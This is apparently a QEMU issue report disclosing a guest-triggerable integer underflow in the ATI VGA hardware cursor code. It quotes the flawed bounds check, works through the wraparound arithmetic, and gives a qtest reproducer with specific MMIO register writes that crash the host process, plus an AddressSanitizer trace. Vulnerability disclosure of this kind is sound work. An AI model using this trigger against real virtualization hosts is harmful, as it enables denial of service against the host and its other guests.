hw/display/ati: out-of-bounds read in hardware cursor define path
## Host environment
- Operating system: Linux
- OS/kernel version: `Linux dell-PowerEdge-R740 4.15.0-142-generic #146-Ubuntu SMP Tue Apr 13 01:11:19 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux`
- Architecture: x86_64
- QEMU flavor: qemu-system-i386
- QEMU version: `QEMU emulator version 10.2.93 (v11.0.0-rc3)`
## Description of problem
A guest-triggerable out-of-bounds read exists in QEMU's ATI VGA hardware cursor handling and can terminate the host QEMU process.
The issue is in `ati_cursor_define()` in `hw/display/ati.c`. The function computes the cursor bitmap source offset as:
```c
srcoff = s->regs.cur_offset - (s->regs.cur_hv_offs >> 16) -
(s->regs.cur_hv_offs & 0xffff) * 16;
if (srcoff + 64 * 16 > s->vga.vram_size) {
return;
}
for (int i = 0; i < 64; i++, srcoff += 16) {
data[i] = ldq_le_p(&s->vga.vram_ptr[srcoff]);
data[i + 64] = ldq_le_p(&s->vga.vram_ptr[srcoff + 8]);
}
```
Here, `srcoff` is a `uint32_t`. If `cur_offset` is small and `cur_hv_offs` is sufficiently large, the subtraction underflows and wraps around. Because the bounds check is written as `srcoff + 64 * 16 > vram_size`, the addition can wrap again and incorrectly pass the check.
For example, with:
- `CUR_HORZ_VERT_OFF = 0x003f003f`
- `CUR_OFFSET = 0x00000030`
the computed value is:
- `srcoff = 0x30 - 0x3f - 0x3f * 16 = 0xfffffc01`
- `srcoff + 64 * 16 = 0xfffffc01 + 0x400 = 0x1`
so the check is bypassed even though `srcoff` points far outside VRAM. QEMU then performs out-of-bounds reads via `ldq_le_p()` / `ldq_he_p()`, which can crash the process.
`CUR_OFFSET` writes invoke `ati_cursor_define()` directly:
```c
case CUR_OFFSET ... CUR_OFFSET + 3:
{
uint32_t t = s->regs.cur_offset;
ati_reg_write_offs(&t, addr - CUR_OFFSET, data, size);
t &= 0x87fffff0;
if (s->regs.cur_offset != t) {
s->regs.cur_offset = t;
ati_cursor_define(s);
}
break;
}
```
Affected source paths:
- `hw/display/ati.c`
- `include/qemu/bswap.h` (crash site)
## Steps to reproduce
1. Build QEMU with assertions enabled.
2. Start QEMU with:
```bash
./qemu-system-i386 \
-machine q35,accel=qtest \
-nodefaults \
-display none \
-serial none \
-monitor none \
-device ati-vga,addr=03.0 \
-qtest stdio <<'EOF'
outl 0xcf8 0x80001818
outl 0xcfc 0x10000000
outl 0xcf8 0x80001804
outl 0xcfc 0x00000007
writel 0x10000268 0x003f003f
writel 0x10000260 0x00000030
EOF
```
3.Observe that QEMU crashes with an invalid read in the hardware cursor path. With ASan, the crash looks like:
```
==61645==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe2e41ffc01 (pc 0x555d1a75d7cb bp 0x7ffced0c3c50 sp 0x7ffced0c3700 T0)
==61645==The signal is caused by a READ memory access.
#0 0x555d1a75d7cb in ldq_he_p /home/dell/truman/third_party/qemu-10.2.93/include/qemu/bswap.h:290:5
#1 0x555d1a75d7cb in ldq_le_p /home/dell/truman/third_party/qemu-10.2.93/include/qemu/bswap.h:316:12
#2 0x555d1a75d7cb in ati_cursor_define /home/dell/truman/third_party/qemu-10.2.93/build/../hw/display/ati.c:156:19
#3 0x555d1a7546ac in ati_mm_write /home/dell/truman/third_party/qemu-10.2.93/build/../hw/display/ati.c:763:13
#4 0x555d1b031888 in memory_region_write_accessor /home/dell/truman/third_party/qemu-10.2.93/build/../system/memory.c:491:5
#5 0x555d1b030e7a in access_with_adjusted_size /home/dell/truman/third_party/qemu-10.2.93/build/../system/memory.c:567:18
#6 0x555d1b0304c9 in memory_region_dispatch_write /home/dell/truman/third_party/qemu-10.2.93/build/../system/memory.c
#7 0x555d1b087040 in flatview_write_continue_step /home/dell/truman/third_party/qemu-10.2.93/build/../system/physmem.c:3269:18
#8 0x555d1b07924c in flatview_write_continue /home/dell/truman/third_party/qemu-10.2.93/build/../system/physmem.c:3299:19
#9 0x555d1b07924c in flatview_write /home/dell/truman/third_party/qemu-10.2.93/build/../system/physmem.c:3330:12
#10 0x555d1b078fb8 in address_space_write /home/dell/truman/third_party/qemu-10.2.93/build/../system/physmem.c:3450:18
#11 0x555d1b090d40 in qtest_process_command /home/dell/truman/third_party/qemu-10.2.93/build/../system/qtest.c:533:13
#12 0x555d1b08ef49 in qtest_process_inbuf /home/dell/truman/third_party/qemu-10.2.93/build/../system/qtest.c:778:9
#13 0x555d1b097956 in qtest_read /home/dell/truman/third_party/qemu-10.2.93/build/../system/qtest.c:787:5
#14 0x555d1bc409a3 in qemu_chr_be_write_impl /home/dell/truman/third_party/qemu-10.2.93/build/../chardev/char.c:247:9
#15 0x555d1bc40af7 in qemu_chr_be_write /home/dell/truman/third_party/qemu-10.2.93/build/../chardev/char.c:259:9
#16 0x555d1bc48b55 in fd_chr_read /home/dell/truman/third_party/qemu-10.2.93/build/../chardev/char-fd.c:72:9
#17 0x555d1b86fb9a in qio_channel_fd_source_dispatch /home/dell/truman/third_party/qemu-10.2.93/build/../io/channel-watch.c:84:12
#18 0x7fe1f2cc2bc3 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55bc3)
#19 0x555d1bf05b1b in glib_pollfds_poll /home/dell/truman/third_party/qemu-10.2.93/build/../util/main-loop.c:290:9
#20 0x555d1bf05b1b in os_host_main_loop_wait /home/dell/truman/third_party/qemu-10.2.93/build/../util/main-loop.c:313:5
#21 0x555d1bf05b1b in main_loop_wait /home/dell/truman/third_party/qemu-10.2.93/build/../util/main-loop.c:592:11
#22 0x555d1b09da06 in qemu_main_loop /home/dell/truman/third_party/qemu-10.2.93/build/../system/runstate.c:945:9
#23 0x555d1bcbf480 in qemu_default_main /home/dell/truman/third_party/qemu-10.2.93/build/../system/main.c:50:14
#24 0x555d1bcbf44c in main /home/dell/truman/third_party/qemu-10.2.93/build/../system/main.c:93:9
#25 0x7fe1f19ebd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#26 0x7fe1f19ebe3f in __libc_start_main csu/../csu/libc-start.c:392:3
#27 0x555d1a1906f4 in _start (/home/dell/truman/third_party/qemu-10.2.93/build/qemu-system-i386+0x1aeb6f4)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/dell/truman/third_party/qemu-10.2.93/include/qemu/bswap.h:290:5 in ldq_he_p
==61645==ABORTING
```
## Additional information
Simplified fuzzing log:
```text
#0 ldq_he_p (include/qemu/bswap.h:290)
#1 ldq_le_p (include/qemu/bswap.h:316)
#2 ati_cursor_define (hw/display/ati.c:157)
#3 ati_mm_write (hw/display/ati.c:792)
#4 memory_region_write_accessor (system/memory.c:491)
#5 access_with_adjusted_size (system/memory.c:567)
#6 memory_region_dispatch_write
```
This appears to be an integer-underflow / wraparound bug in the hardware cursor offset calculation. The resulting out-of-bounds read is guest-triggerable through ATI VGA MMIO register writes and can terminate the host QEMU process.
<!--The line below ensures that proper tags are added to the issue.
Please do not remove it.-->
issue